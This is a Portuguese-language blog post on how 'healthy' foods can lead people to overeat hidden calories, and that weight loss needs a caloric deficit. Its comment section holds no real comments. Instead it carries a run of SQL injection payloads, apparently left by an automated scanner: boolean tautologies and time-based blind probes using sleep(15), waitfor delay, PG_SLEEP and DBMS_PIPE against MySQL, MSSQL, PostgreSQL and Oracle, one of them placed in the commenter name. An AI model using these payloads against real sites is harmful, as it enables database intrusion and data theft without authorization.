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Impacto das calorias escondidas nos alimentos saudáveis

Postado em : 22/04/2020
Por : ISABELLE
Em Obesidade

Você come em maior quantidade aquele alimento que é considerado saudável? Tem a sensação que é liberado? Quando o bolo é "fit" você come a mesma quantidade que comeria de um tradicional? ⁉️

🧠Nosso cérebro tende a aceitar mais e com isso consumir mais calorias numa refeição dita como saudável ! 🧠

🥑🥗🥜Quando incentivamos mudar o estilo de vida, com ingestão de alimentos mais in natura/minimamente processados, gorduras boas como azeite, castanhas, abacate, devemos destacar a importância do controle das quantidades, principalmente quando o objetivo é emagrecimento.

🔊🔊Só existe perda de peso com déficit calórico, mesmo quando a dieta é
saudável !!! .

➡️‼O impacto das calorias escondidas pode ser muito maior do que imagina !!

Comentários

lxbfYeaa disse:

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-1 OR 2+945-945-1=0+0+0+1 --
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555*if(now()=sysdate(),sleep(15),0)
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5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:

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-1 OR 2+993-993-1=0+0+0+1 --
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-1" OR 2+411-411-1=0+0+0+1 --
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-1" OR 3*2>(0+5+411-411) --
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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555-1; waitfor delay '0:0:15' --
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555-1) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
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555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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555
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555'"
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Impacto das calorias escondidas nos alimentos saudáveis

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